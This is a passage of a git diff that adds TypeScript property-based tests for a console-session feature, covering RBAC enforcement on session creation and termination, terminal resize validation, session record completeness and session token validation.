authService); + permissionService = new PermissionService(db); + roleService = new RoleService(db); + }); + + afterEach(async () => { + await db.close(); + delete process.env.JWT_SECRET; + delete process.env.HOST; + delete process.env.PORT; + vi.restoreAllMocks(); + }); + + /** + * Helper: create a user with or without `console:access` permission. + * Returns the generated JWT token. + */ + async function createUserWithPermission( + hasConsoleAccess: boolean, + suffix: string, + ): Promise<{ token: string; userId: string }> { + const user = await userService.createUser({ + username: `user_${suffix}`, + email: `user_${suffix}@test.com`, + password: "TestPass123!", + firstName: "Test", + lastName: "User", + isAdmin: false, + }); + + if (hasConsoleAccess) { + // Find or create console:access permission + let consoleAccessPerm; + const allPerms = await permissionService.listPermissions(); + consoleAccessPerm = allPerms.items.find( + (p) => p.resource === "console" && p.action === "access", + ); + if (!consoleAccessPerm) { + consoleAccessPerm = await permissionService.createPermission({ + resource: "console", + action: "access", + description: "Access console sessions", + }); + } + + // Create a role with console:access and assign to user + const role = await roleService.createRole({ + name: `console_role_${suffix}`, + description: "Console access role", + }); + await roleService.assignPermissionToRole(role.id, consoleAccessPerm.id); + await userService.assignRoleToUser(user.id, role.id); + } + + const token = await authService.generateToken(user); + return { token, userId: user.id }; + } + + /** + * Build an Express app with the console router mounted. + */ + function buildApp(): express.Express { + const app = express(); + app.use(express.json()); + + const container = buildContainer(); + const integrationManager = makeMockIntegrationManager(); + const sessionManager = makeMockSessionManager(); + + const router = createConsoleRouter( + container, + integrationManager, + sessionManager, + db, + ); + app.use("/api/console", router); + return app; + } + + it("users with console:access get 201 on POST /sessions", () => { + return fc.assert( + fc.asyncProperty( + fc.integer({ min: 1, max: 100 }), + async (iteration) => { + const app = buildApp(); + const suffix = `access_${String(iteration)}_${String(Date.now())}`; + const { token } = await createUserWithPermission(true, suffix); + + const response = await request(harness.use(app)) + .post("/api/console/sessions") + .set("Authorization", `Bearer ${token}`) + .send({ nodeId: "node-1", provider: "proxmox" }); + + expect(response.status).toBe(201); + expect(response.body.session).toBeDefined(); + }, + ), + { numRuns: 100 }, + ); + }, 120000); + + it("users without console:access get 403 on POST /sessions", () => { + return fc.assert( + fc.asyncProperty( + fc.integer({ min: 1, max: 100 }), + async (iteration) => { + const app = buildApp(); + const suffix = `noaccess_${String(iteration)}_${String(Date.now())}`; + const { token } = await createUserWithPermission(false, suffix); + + const response = await request(harness.use(app)) + .post("/api/console/sessions") + .set("Authorization", `Bearer ${token}`) + .send({ nodeId: "node-1", provider: "proxmox" }); + + expect(response.status).toBe(403); + expect(response.body.error).toBeDefined(); + expect(response.body.error.code).toBe("INSUFFICIENT_PERMISSIONS"); + }, + ), + { numRuns: 100 }, + ); + }, 120000); + + it("RBAC enforcement is consistent: access iff console:access held", () => { + return fc.assert( + fc.asyncProperty( + fc.boolean(), + fc.integer({ min: 1, max: 100 }), + async (hasAccess, iteration) => { + const app = buildApp(); + const suffix = `rbac_${String(hasAccess)}_${String(iteration)}_${String(Date.now())}`; + const { token } = await createUserWithPermission(hasAccess, suffix); + + const response = await request(harness.use(app)) + .post("/api/console/sessions") + .set("Authorization", `Bearer ${token}`) + .send({ nodeId: "node-1", provider: "proxmox" }); + + if (hasAccess) { + expect(response.status).toBe(201); + expect(response.body.session).toBeDefined(); + } else { + expect(response.status).toBe(403); + expect(response.body.error.code).toBe("INSUFFICIENT_PERMISSIONS"); + } + }, + ), + { numRuns: 100 }, + ); + }, 120000); +}); diff --git a/backend/test/properties/consoleRbacTermination.property.test.ts b/backend/test/properties/consoleRbacTermination.property.test.ts new file mode 100644 index 00000000..e118107d --- /dev/null +++ b/backend/test/properties/consoleRbacTermination.property.test.ts @@ -0,0 +1,317 @@ +/** + * Property-Based Tests for RBAC Enforcement for Cross-User Termination + * + * Feature: console-integration, Property 6: RBAC enforcement for cross-user termination + * + * **Validates: Requirements 6.4, 6.5, 6.6, 8.3** + * + * Property 6: RBAC enforcement for cross-user termination + * ∀ user, owner ∈ Users, hasAccess ∈ Bool, hasAdmin ∈ Bool: + * - No console:access → 403 (RBAC middleware blocks) + * - Same user + console:access → 204 (own session) + * - Different user + console:access but NOT console:admin → 403 + * - Different user + console:access + console:admin → 204 + */ + +import { describe, it, expect, beforeAll, afterAll } from "vitest"; +import * as fc from "fast-check"; +import express, { type Express } from "express"; +import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; +import { randomUUID } from "crypto"; + +import { SQLiteAdapter } from "../../src/database/SQLiteAdapter"; +import { AuthenticationService } from "../../src/services/AuthenticationService"; +import { UserService } from "../../src/services/UserService"; +import { PermissionService } from "../../src/services/PermissionService"; +import { RoleService } from "../../src/services/RoleService"; +import { ConsoleSessionManager } from "../../src/services/ConsoleSessionManager"; +import { createConsoleRouter } from "../../src/routes/console"; +import { DIContainer } from "../../src/container/DIContainer"; +import { LoggerService } from "../../src/services/LoggerService"; +import { ConfigService } from "../../src/config/ConfigService"; +import { ExpertModeService } from "../../src/services/ExpertModeService"; +import { initializeTestSchema } from "../helpers/schema"; + +import type { IntegrationManager } from "../../src/integrations/IntegrationManager"; +import type { AuditLoggingService } from "../../src/services/AuditLoggingService"; +import type { ConsoleSession } from "../../src/integrations/console/types"; +import type { ConsoleConfig } from "../../src/config/schema"; + +const JWT_SECRET = "test-secret-for-rbac-termination-prop-test"; // pragma: allowlist secret + +function makeAuditLogger(): AuditLoggingService { + return { + logAdminAction: async () => {}, + logAuthorizationFailure: async () => {}, + } as unknown as AuditLoggingService; +} + +function makeConsoleConfig(): ConsoleConfig { + return { + sessionTimeoutMs: 300000, + maxSessionDuration: 28800000, + maxConcurrentSessions: 10, + heartbeatIntervalMs: 30000, + }; +} + +function makeMockIntegrationManager(): IntegrationManager { + return { + getConsoleProvider: () => null, + getAllConsoleProviders: () => [], + getConsoleAvailability: async () => [], + } as unknown as IntegrationManager; +} + +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + +describe("Feature: console-integration, Property 6: RBAC enforcement for cross-user termination", () => { + let db: SQLiteAdapter; + let app: Express; + let authService: AuthenticationService; + let userService: UserService; + let permissionService: PermissionService; + let roleService: RoleService; + let sessionManager: ConsoleSessionManager; + + // Pre-created permission and role IDs + let accessPermId: string; + let adminPermId: string; + let accessOnlyRoleId: string; + let accessAdminRoleId: string; + + beforeAll(async () => { + process.env.JWT_SECRET = JWT_SECRET; + process.env.PABAWI_LIFECYCLE_TOKEN = "test-lifecycle-token"; // pragma: allowlist secret + + db = new SQLiteAdapter(":memory:"); + await db.initialize(); + await initializeTestSchema(db); + + authService = new AuthenticationService(db, JWT_SECRET); + userService = new UserService(db, authService); + permissionService = new PermissionService(db); + roleService = new RoleService(db); + sessionManager = new ConsoleSessionManager( + db, + makeConsoleConfig(), + new LoggerService(), + makeAuditLogger(), + ); + + // Find or create console:access and console:admin permissions + const allPerms = await permissionService.listPermissions(); + const existingAccess = allPerms.items.find( + (p) => p.resource === "console" && p.action === "access", + ); + const existingAdmin = allPerms.items.find( + (p) => p.resource === "console" && p.action === "admin", + ); + + if (existingAccess) { + accessPermId = existingAccess.id; + } else { + const perm = await permissionService.createPermission({ + resource: "console", + action: "access", + description: "Access console sessions", + }); + accessPermId = perm.id; + } + + if (existingAdmin) { + adminPermId = existingAdmin.id; + } else { + const perm = await permissionService.createPermission({ + resource: "console", + action: "admin", + description: "Admin console sessions", + }); + adminPermId = perm.id; + } + + // Create reusable roles: one with access only, one with access+admin + const accessRole = await roleService.createRole({ + name: "console_access_only", + description: "console:access only", + }); + accessOnlyRoleId = accessRole.id; + await roleService.assignPermissionToRole(accessOnlyRoleId, accessPermId); + + const accessAdminRole = await roleService.createRole({ + name: "console_access_admin", + description: "console:access + console:admin", + }); + accessAdminRoleId = accessAdminRole.id; + await roleService.assignPermissionToRole(accessAdminRoleId, accessPermId); + await roleService.assignPermissionToRole(accessAdminRoleId, adminPermId); + + // Build Express app with console router + const container = new DIContainer(); + container.register("logger", new LoggerService()); + container.register("expertMode", new ExpertModeService()); + container.register("config", new ConfigService()); + + app = express(); + app.use(express.json()); + app.use( + "/api/console", + createConsoleRouter(container, makeMockIntegrationManager(), sessionManager, db), + ); + }); + + afterAll(async () => { + await db.close(); + delete process.env.JWT_SECRET; + delete process.env.PABAWI_LIFECYCLE_TOKEN; + }); + + /** + * Helper: create a test user and return their ID + JWT token. + */ + async function createUserWithToken( + suffix: string, + hasAccess: boolean, + hasAdmin: boolean, + ): Promise<{ userId: string; token: string }> { + const id = randomUUID(); + const username = `user_${suffix}_${id.substring(0, 6)}`; + const user = await userService.createUser({ + username, + email: `${username}@test.com`, + password: "TestPass123!", + firstName: "Test", + lastName: "User", + isAdmin: false, + }); + + if (hasAccess && hasAdmin) { + await userService.assignRoleToUser(user.id, accessAdminRoleId); + } else if (hasAccess) { + await userService.assignRoleToUser(user.id, accessOnlyRoleId); + } + // If neither, user has no console permissions + + const token = await authService.generateToken(user); + return { userId: user.id, token }; + } + + /** + * Helper: create a console session owned by a specific user. + */ + async function createOwnedSession(ownerId: string): Promise { + const sessionId = randomUUID(); + const session: ConsoleSession = { + sessionId, + userId: ownerId, + nodeId: `node-${randomUUID().substring(0, 8)}`, + provider: "proxmox", + transport: "websocket-vnc", + state: "active", + token: randomUUID(), + wsUrl: `/ws/console/vnc?token=placeholder`, + startedAt: new Date().toISOString(), + }; + await sessionManager.createSession(session); + return sessionId; + } + + it("rejects with 403 when user lacks console:access (RBAC middleware blocks)", () => { + return fc.assert( + fc.asyncProperty( + fc.boolean(), // isSameUser (doesn't matter — blocked at middleware) + async (_isSameUser) => { + // User with no permissions at all + const { token } = await createUserWithToken("noaccess", false, false); + const owner = await createUserWithToken("owner", true, false); + const sessionId = await createOwnedSession(owner.userId); + + const res = await request(harness.use(app)) + .delete(`/api/console/sessions/${sessionId}`) + .set("Authorization", `Bearer ${token}`); + + expect(res.status).toBe(403); + }, + ), + { numRuns: 100 }, + ); + }, 120000); + + it("allows own session termination with only console:access (204)", () => { + return fc.assert( + fc.asyncProperty( + fc.boolean(), // has admin (irrelevant for own session — both should work) + async (hasAdmin) => { + const { userId, token } = await createUserWithToken( + "self", + true, + hasAdmin, + ); + const sessionId = await createOwnedSession(userId); + + const res = await request(harness.use(app)) + .delete(`/api/console/sessions/${sessionId}`) + .set("Authorization", `Bearer ${token}`); + + expect(res.status).toBe(204); + }, + ), + { numRuns: 100 }, + ); + }, 120000); + + it("rejects cross-user termination when user has console:access but NOT console:admin (403)", () => { + return fc.assert( + fc.asyncProperty( + fc.integer({ min: 0, max: 99999 }), // seed for unique user names + async (seed) => { + const owner = await createUserWithToken(`xo${String(seed)}`, true, false); + const { token } = await createUserWithToken(`xr${String(seed)}`, true, false); + const sessionId = await createOwnedSession(owner.userId); + + const res = await request(harness.use(app)) + .delete(`/api/console/sessions/${sessionId}`) + .set("Authorization", `Bearer ${token}`); + + expect(res.status).toBe(403); + expect(res.body.error.code).toBe("FORBIDDEN"); + expect(res.body.error.message).toContain("console:admin"); + }, + ), + { numRuns: 100 }, + ); + }, 120000); + + it("allows cross-user termination when user has console:access + console:admin (204)", () => { + return fc.assert( + fc.asyncProperty( + fc.integer({ min: 0, max: 99999 }), // seed for unique user names + async (seed) => { + const owner = await createUserWithToken(`ao${String(seed)}`, true, false); + const { token } = await createUserWithToken(`ad${String(seed)}`, true, true); + const sessionId = await createOwnedSession(owner.userId); + + const res = await request(harness.use(app)) + .delete(`/api/console/sessions/${sessionId}`) + .set("Authorization", `Bearer ${token}`); + + expect(res.status).toBe(204); + }, + ), + { numRuns: 100 }, + ); + }, 120000); +}); diff --git a/backend/test/properties/consoleResizeValidation.property.test.ts b/backend/test/properties/consoleResizeValidation.property.test.ts new file mode 100644 index 00000000..bb4ff126 --- /dev/null +++ b/backend/test/properties/consoleResizeValidation.property.test.ts @@ -0,0 +1,268 @@ +/** + * Property-Based Tests for Terminal Resize Dimension Validation + * + * Feature: console-integration, Property 4: Terminal resize dimension validation + * + * **Validates: Requirements 5.5, 5.8** + * + * Property 4: Terminal resize dimension validation + * ∀ resize control message with columns/rows: + * resize propagated iff columns ∈ [1, 500] AND rows ∈ [1, 200]; + * otherwise discarded without session termination. + */ + +import { describe, it, expect, vi, beforeEach } from "vitest"; +import * as fc from "fast-check"; +import { WebSocket } from "ws"; +import type { Server as HTTPServer } from "http"; + +import { ConsoleWebSocketProxy } from "../../src/services/ConsoleWebSocketProxy"; +import type { ConsoleSessionManager } from "../../src/services/ConsoleSessionManager"; +import type { LoggerService } from "../../src/services/LoggerService"; +import type { ConsoleSession } from "../../src/integrations/console/types"; + +// ============================================================ +// Helpers +// ============================================================ + +function createMockLogger(): LoggerService { + return { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + } as unknown as LoggerService; +} + +function createMockSessionManager(): ConsoleSessionManager { + return { + generateToken: vi.fn(), + createSession: vi.fn(), + validateToken: vi.fn(), + consumeToken: vi.fn(), + heartbeat: vi.fn(), + terminateSession: vi.fn(), + getActiveSessionCount: vi.fn(), + terminateAllForProvider: vi.fn(), + cleanupExpiredSessions: vi.fn(), + getSession: vi.fn(), + } as unknown as ConsoleSessionManager; +} + +function createMockHttpServer(): HTTPServer { + return { on: vi.fn() } as unknown as HTTPServer; +} + +function createMockUpstream(): WebSocket { + return { + readyState: WebSocket.OPEN, + send: vi.fn(), + close: vi.fn(), + on: vi.fn(), + } as unknown as WebSocket; +} + +function createMockSession(): ConsoleSession { + return { + sessionId: "test-session-id", + token: "test-token", + wsUrl: "/ws/console/terminal", + transport: "websocket-terminal", + state: "active", + startedAt: new Date().toISOString(), + nodeId: "node-1", + userId: "user-1", + provider: "test-provider", + }; +} + +/** Build a valid 5-byte resize control message buffer. */ +function buildResizeBuffer(columns: number, rows: number): Buffer { + const buf = Buffer.alloc(5); + buf[0] = 0x01; // RESIZE type + buf.writeUInt16BE(columns, 1); + buf.writeUInt16BE(rows, 3); + return buf; +} + +// ============================================================ +// Arbitraries +// ============================================================ + +/** Full uint16 range for columns */ +const columnsArb = fc.integer({ min: 0, max: 65535 }); + +/** Full uint16 range for rows */ +const rowsArb = fc.integer({ min: 0, max: 65535 }); + +/** Valid columns: [1, 500] */ +const validColumnsArb = fc.integer({ min: 1, max: 500 }); + +/** Valid rows: [1, 200] */ +const validRowsArb = fc.integer({ min: 1, max: 200 }); + +/** Invalid columns: 0 or > 500 (within uint16) */ +const invalidColumnsArb = fc.oneof( + fc.constant(0), + fc.integer({ min: 501, max: 65535 }), +); + +/** Invalid rows: 0 or > 200 (within uint16) */ +const invalidRowsArb = fc.oneof( + fc.constant(0), + fc.integer({ min: 201, max: 65535 }), +); + +// ============================================================ +// Tests +// ============================================================ + +describe("Feature: console-integration, Property 4: Terminal resize dimension validation", () => { + let proxy: ConsoleWebSocketProxy; + let logger: LoggerService; + + beforeEach(() => { + logger = createMockLogger(); + const sessionManager = createMockSessionManager(); + const httpServer = createMockHttpServer(); + + proxy = new ConsoleWebSocketProxy( + httpServer, + sessionManager, + { allowedOrigins: ["http://localhost:3000"], console: { sessionTimeoutMs: 300000, maxSessionDuration: 28800000, maxConcurrentSessions: 3, heartbeatIntervalMs: 30000 } }, + logger, + ); + }); + + it("propagates resize when columns ∈ [1,500] AND rows ∈ [1,200]", () => { + fc.assert( + fc.property(validColumnsArb, validRowsArb, (columns, rows) => { + const upstream = createMockUpstream(); + const session = createMockSession(); + const data = buildResizeBuffer(columns, rows); + + // Call private method via bracket notation + (proxy as unknown as Record)["handleTerminalControlMessage"]( + data, upstream, session, + ); + + // upstream.send must have been called with the exact buffer + expect(upstream.send).toHaveBeenCalledTimes(1); + expect(upstream.send).toHaveBeenCalledWith(data, { binary: true }); + }), + { numRuns: 100 }, + ); + }); + + it("discards resize when columns or rows are outside valid range", () => { + fc.assert( + fc.property(columnsArb, rowsArb, (columns, rows) => { + // Pre-condition: at least one dimension is out of valid range + const columnsValid = columns >= 1 && columns <= 500; + const rowsValid = rows >= 1 && rows <= 200; + fc.pre(!(columnsValid && rowsValid)); + + const upstream = createMockUpstream(); + const session = createMockSession(); + const data = buildResizeBuffer(columns, rows); + + (proxy as unknown as Record)["handleTerminalControlMessage"]( + data, upstream, session, + ); + + // upstream.send must NOT have been called + expect(upstream.send).not.toHaveBeenCalled(); + }), + { numRuns: 100 }, + ); + }); + + it("never terminates session regardless of dimension validity", () => { + fc.assert( + fc.property(columnsArb, rowsArb, (columns, rows) => { + const upstream = createMockUpstream(); + const session = createMockSession(); + const sessionManager = createMockSessionManager(); + const httpServer = createMockHttpServer(); + const localLogger = createMockLogger(); + + const localProxy = new ConsoleWebSocketProxy( + httpServer, + sessionManager, + { allowedOrigins: ["http://localhost:3000"], console: { sessionTimeoutMs: 300000, maxSessionDuration: 28800000, maxConcurrentSessions: 3, heartbeatIntervalMs: 30000 } }, + localLogger, + ); + + const data = buildResizeBuffer(columns, rows); + + (localProxy as unknown as Record)["handleTerminalControlMessage"]( + data, upstream, session, + ); + + // Session must never be terminated + expect(sessionManager.terminateSession).not.toHaveBeenCalled(); + // Upstream must never be closed + expect(upstream.close).not.toHaveBeenCalled(); + }), + { numRuns: 100 }, + ); + }); + + it("resize propagation is correct: send called iff both dimensions valid", () => { + fc.assert( + fc.property(columnsArb, rowsArb, (columns, rows) => { + const upstream = createMockUpstream(); + const session = createMockSession(); + const data = buildResizeBuffer(columns, rows); + + (proxy as unknown as Record)["handleTerminalControlMessage"]( + data, upstream, session, + ); + + const shouldPropagate = columns >= 1 && columns <= 500 && rows >= 1 && rows <= 200; + + if (shouldPropagate) { + expect(upstream.send).toHaveBeenCalledTimes(1); + expect(upstream.send).toHaveBeenCalledWith(data, { binary: true }); + } else { + expect(upstream.send).not.toHaveBeenCalled(); + } + }), + { numRuns: 100 }, + ); + }); + + it("specifically tests invalid columns with valid rows → discarded", () => { + fc.assert( + fc.property(invalidColumnsArb, validRowsArb, (columns, rows) => { + const upstream = createMockUpstream(); + const session = createMockSession(); + const data = buildResizeBuffer(columns, rows); + + (proxy as unknown as Record)["handleTerminalControlMessage"]( + data, upstream, session, + ); + + expect(upstream.send).not.toHaveBeenCalled(); + }), + { numRuns: 100 }, + ); + }); + + it("specifically tests valid columns with invalid rows → discarded", () => { + fc.assert( + fc.property(validColumnsArb, invalidRowsArb, (columns, rows) => { + const upstream = createMockUpstream(); + const session = createMockSession(); + const data = buildResizeBuffer(columns, rows); + + (proxy as unknown as Record)["handleTerminalControlMessage"]( + data, upstream, session, + ); + + expect(upstream.send).not.toHaveBeenCalled(); + }), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/properties/consoleSessionRecord.property.test.ts b/backend/test/properties/consoleSessionRecord.property.test.ts new file mode 100644 index 00000000..a3dd4d80 --- /dev/null +++ b/backend/test/properties/consoleSessionRecord.property.test.ts @@ -0,0 +1,196 @@ +/** + * Property-Based Tests for Console Session Record Completeness + * + * Feature: console-integration, Property 8: Session record completeness + * + * **Validates: Requirements 2.7** + * + * Property 8: Session record completeness + * ∀ random ConsoleSession inputs: + * after createSession, the stored DB record SHALL have non-null + * id, user_id, node_id, provider, started_at, last_heartbeat_at. + */ + +import { describe, it, expect, beforeEach, afterEach, vi } from "vitest"; +import * as fc from "fast-check"; +import { SQLiteAdapter } from "../../src/database/SQLiteAdapter"; +import { ConsoleSessionManager } from "../../src/services/ConsoleSessionManager"; +import type { ConsoleSession } from "../../src/integrations/console/types"; +import type { AuditLoggingService } from "../../src/services/AuditLoggingService"; +import type { LoggerService } from "../../src/services/LoggerService"; +import type { ConsoleConfig } from "../../src/config/schema"; + +const CREATE_TABLE_SQL = ` + CREATE TABLE IF NOT EXISTS console_sessions ( + id TEXT PRIMARY KEY, + user_id TEXT NOT NULL, + node_id TEXT NOT NULL, + provider TEXT NOT NULL, + transport TEXT NOT NULL, + state TEXT NOT NULL DEFAULT 'creating', + token TEXT, + token_created_at TEXT, + token_consumed INTEGER NOT NULL DEFAULT 0, + upstream_url TEXT, + started_at TEXT NOT NULL, + last_heartbeat_at TEXT, + terminated_at TEXT, + error_message TEXT, + CONSTRAINT chk_state CHECK (state IN ('creating', 'active', 'terminated', 'failed')), + CONSTRAINT chk_transport CHECK (transport IN ('websocket-vnc', 'websocket-terminal')) + ) +`; + +/** Arbitrary: hex string of given length */ +function hexStringArb(length: number): fc.Arbitrary { + return fc + .array( + fc.integer({ min: 0, max: 15 }).map((n) => n.toString(16)), + { minLength: length, maxLength: length }, + ) + .map((chars) => chars.join("")); +} + +/** Arbitrary: UUID-like string */ +const uuidArb = fc + .tuple( + hexStringArb(8), + hexStringArb(4), + hexStringArb(4), + hexStringArb(4), + hexStringArb(12), + ) + .map(([a, b, c, d, e]) => `${a}-${b}-${c}-${d}-${e}`); + +/** Arbitrary: random user IDs */ +const userIdArb = fc + .tuple(fc.constantFrom("user", "admin", "operator", "svc"), fc.nat({ max: 99999 })) + .map(([prefix, n]) => `${prefix}-${String(n)}`); + +/** Arbitrary: random node IDs */ +const nodeIdArb = fc + .tuple(fc.constantFrom("node", "vm", "lxc", "host"), fc.nat({ max: 99999 })) + .map(([prefix, n]) => `${prefix}-${String(n)}`); + +/** Arbitrary: random provider names */ +const providerArb = fc.constantFrom("proxmox", "aws", "azure", "ssh", "custom-provider"); + +/** Arbitrary: random transport types */ +const transportArb = fc.constantFrom<"websocket-vnc" | "websocket-terminal">( + "websocket-vnc", + "websocket-terminal", +); + +/** Arbitrary: a full ConsoleSession object */ +const consoleSessionArb = fc + .tuple(uuidArb, userIdArb, nodeIdArb, providerArb, transportArb) + .map(([sessionId, userId, nodeId, provider, transport]): ConsoleSession => ({ + sessionId, + userId, + nodeId, + provider, + transport, + state: "active", + token: `tok-${sessionId}`, + wsUrl: `/ws/console/${transport === "websocket-vnc" ? "vnc" : "terminal"}?token=tok-${sessionId}`, + startedAt: new Date().toISOString(), + })); + +function createMockLogger(): LoggerService { + return { + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + debug: vi.fn(), + } as unknown as LoggerService; +} + +function createMockAuditLogger(): AuditLoggingService { + return { + logAdminAction: vi.fn().mockResolvedValue(undefined), + } as unknown as AuditLoggingService; +} + +const defaultConfig: ConsoleConfig = { + sessionTimeoutMs: 300000, + maxSessionDuration: 28800000, + maxConcurrentSessions: 3, + heartbeatIntervalMs: 30000, +}; + +describe("Feature: console-integration, Property 8: Session record completeness", () => { + let db: SQLiteAdapter; + let sessionManager: ConsoleSessionManager; + + beforeEach(async () => { + db = new SQLiteAdapter(":memory:"); + await db.initialize(); + await db.execute(CREATE_TABLE_SQL); + sessionManager = new ConsoleSessionManager( + db, + defaultConfig, + createMockLogger(), + createMockAuditLogger(), + ); + }); + + afterEach(async () => { + await db.close(); + }); + + it("stored session record always has non-null id, user_id, node_id, provider, started_at, last_heartbeat_at", async () => { + await fc.assert( + fc.asyncProperty(consoleSessionArb, async (session) => { + await sessionManager.createSession(session); + + const row = await db.queryOne<{ + id: string | null; + user_id: string | null; + node_id: string | null; + provider: string | null; + started_at: string | null; + last_heartbeat_at: string | null; + }>( + `SELECT id, user_id, node_id, provider, started_at, last_heartbeat_at + FROM console_sessions WHERE id = ?`, + [session.sessionId], + ); + + expect(row).not.toBeNull(); + expect(row!.id).not.toBeNull(); + expect(row!.user_id).not.toBeNull(); + expect(row!.node_id).not.toBeNull(); + expect(row!.provider).not.toBeNull(); + expect(row!.started_at).not.toBeNull(); + expect(row!.last_heartbeat_at).not.toBeNull(); + }), + { numRuns: 100 }, + ); + }); + + it("stored session record fields match the input values", async () => { + await fc.assert( + fc.asyncProperty(consoleSessionArb, async (session) => { + await sessionManager.createSession(session); + + const row = await db.queryOne<{ + id: string; + user_id: string; + node_id: string; + provider: string; + }>( + `SELECT id, user_id, node_id, provider + FROM console_sessions WHERE id = ?`, + [session.sessionId], + ); + + expect(row).not.toBeNull(); + expect(row!.id).toBe(session.sessionId); + expect(row!.user_id).toBe(session.userId); + expect(row!.node_id).toBe(session.nodeId); + expect(row!.provider).toBe(session.provider); + }), + { numRuns: 100 }, + ); + }); +}); diff --git a/backend/test/properties/consoleTokenValidation.property.test.ts b/backend/test/properties/consoleTokenValidation.property.test.ts new file mode 100644 index 00000000..2f4a40e2 --- /dev/null +++ b/backend/test/properties/consoleTokenValidation.property.test.ts @@ -0,0 +1,325 @@ +/** + * Property-Based Tests for Console Session Token Validation + * + * Feature: console-integration, Property 2: Session token validation correctness + * + * **Validates: Requirements 4.2, 4.3, 5.2, 5.3, 8.1, 8.2** + * + * Property 2: Session token validation correctness + * ∀ token, userId, timestamp, consumed state: + * validateToken(token, userId) returns a ConsoleSession iff: + * - token exists in DB + * - token was created < 60s ago + * - token has not been consumed (tokenConsumed === 0) + * - connecting userId matches session owner + * All other combinations → null (rejected) + */ + +import { describe, it, expect, beforeEach, afterEach } from "vitest"; +import * as fc from "fast-check"; + +import { SQLiteAdapter } from "../../src/database/SQLiteAdapter"; +import { ConsoleSessionManager } from "../../src/services/ConsoleSessionManager"; +import type { AuditLoggingService } from "../../src/services/AuditLoggingService"; +import type { LoggerService } from "../../src/services/LoggerService"; +import type { ConsoleConfig } from "../../src/config/schema"; + +const CONSOLE_CONFIG: ConsoleConfig = { + sessionTimeoutMs: 300000, + maxSessionDuration: 28800000, + maxConcurrentSessions: 3, + heartbeatIntervalMs: 30000, +}; + +const CREATE_TABLE_SQL = ` + CREATE TABLE IF NOT EXISTS console_sessions ( + id TEXT PRIMARY KEY, + user_id TEXT NOT NULL, + node_id TEXT NOT NULL, + provider TEXT NOT NULL, + transport TEXT NOT NULL, + state TEXT NOT NULL DEFAULT 'creating', + token TEXT, + token_created_at TEXT, + token_consumed INTEGER NOT NULL DEFAULT 0, + upstream_url TEXT, + started_at TEXT NOT NULL, + last_heartbeat_at TEXT, + terminated_at TEXT, + error_message TEXT, + created_at TEXT NOT NULL DEFAULT (datetime('now')), + CONSTRAINT chk_state CHECK (state IN ('creating', 'active', 'terminated', 'failed')), + CONSTRAINT chk_transport CHECK (transport IN ('websocket-vnc', 'websocket-terminal')) + ); + CREATE INDEX IF NOT EXISTS idx_console_sessions_token ON console_sessions(token); +`; + +function createMockLogger(): LoggerService { + return { + info: () => {}, + warn: () => {}, + error: () => {}, + debug: () => {}, + } as unknown as LoggerService; +} + +function createMockAuditLogger(): AuditLoggingService { + return { + logAdminAction: async () => {}, + } as unknown as AuditLoggingService; +} + +/** Arbitrary: hex-like token strings (16–64 hex chars) */ +const tokenArb = fc.stringMatching(/^[0-9a-f]{16,64}$/); + +/** Arbitrary: user IDs (alphanumeric, 4–20 chars) */ +const userIdArb = fc.stringMatching(/^[a-z0-9]{4,20}$/); + +/** Arbitrary: session IDs */ +const sessionIdArb = fc.uuid(); + +/** Arbitrary: node IDs */ +const nodeIdArb = fc.stringMatching(/^node-[a-z0-9]{3,10}$/); + +/** Arbitrary: provider names */ +const providerArb = fc.constantFrom("proxmox", "aws", "azure"); + +/** Arbitrary: transport types */ +const transportArb = fc.constantFrom( + "websocket-vnc" as const, + "websocket-terminal" as const, +); + +/** + * Represents a session row to insert, with controllable validity factors. + */ +interface TestSessionParams { + sessionId: string; + ownerUserId: string; + nodeId: string; + provider: string; + transport: "websocket-vnc" | "websocket-terminal"; + token: string; + /** Milliseconds ago the token was created (0 = now) */ + tokenAgeMs: number; + /** Whether token has been consumed */ + consumed: boolean; +} + +const testSessionArb: fc.Arbitrary = fc.record({ + sessionId: sessionIdArb, + ownerUserId: userIdArb, + nodeId: nodeIdArb, + provider: providerArb, + transport: transportArb, + token: tokenArb, + // Ages from 0ms to 120s to cover both valid (<60s) and expired (>=60s) + tokenAgeMs: fc.integer({ min: 0, max: 120000 }), + consumed: fc.boolean(), +}); + +async function insertSession( + db: SQLiteAdapter, + params: TestSessionParams, +): Promise { + const tokenCreatedAt = new Date( + Date.now() - params.tokenAgeMs, + ).toISOString(); + const now = new Date().toISOString(); + + await db.execute( + `INSERT INTO console_sessions ( + id, user_id, node_id, provider, transport, state, + token, token_created_at, token_consumed, upstream_url, + started_at, last_heartbeat_at + ) VALUES (?, ?, ?, ?, ?, 'active', ?, ?, ?, NULL, ?, ?)`, + [ + params.sessionId, + params.ownerUserId, + params.nodeId, + params.provider, + params.transport, + params.token, + tokenCreatedAt, + params.consumed ? 1 : 0, + now, + now, + ], + ); +} + +describe("Feature: console-integration, Property 2: Session token validation correctness", () => { + let db: SQLiteAdapter; + let sessionManager: ConsoleSessionManager; + + beforeEach(async () => { + db = new SQLiteAdapter(":memory:"); + await db.initialize(); + await db.execute(CREATE_TABLE_SQL); + sessionManager = new ConsoleSessionManager( + db, + CONSOLE_CONFIG, + createMockLogger(), + createMockAuditLogger(), + ); + }); + + afterEach(async () => { + await db.close(); + }); + + it("valid token accepted: exists, <60s old, not consumed, userId matches owner", async () => { + await fc.assert( + fc.asyncProperty(testSessionArb, async (params) => { + // Force all validity conditions + const validParams: TestSessionParams = { + ...params, + tokenAgeMs: Math.min(params.tokenAgeMs, 59000), // <60s + consumed: false, + }; + + // Clean slate for each run + await db.execute("DELETE FROM console_sessions"); + await insertSession(db, validParams); + + const result = await sessionManager.validateToken( + validParams.token, + validParams.ownerUserId, + ); + + expect(result).not.toBeNull(); + expect(result!.sessionId).toBe(validParams.sessionId); + expect(result!.userId).toBe(validParams.ownerUserId); + expect(result!.token).toBe(validParams.token); + }), + { numRuns: 100 }, + ); + }); + + it("token rejected when it does not exist in DB", async () => { + await fc.assert( + fc.asyncProperty(tokenArb, userIdArb, async (token, userId) => { + // Empty DB — no 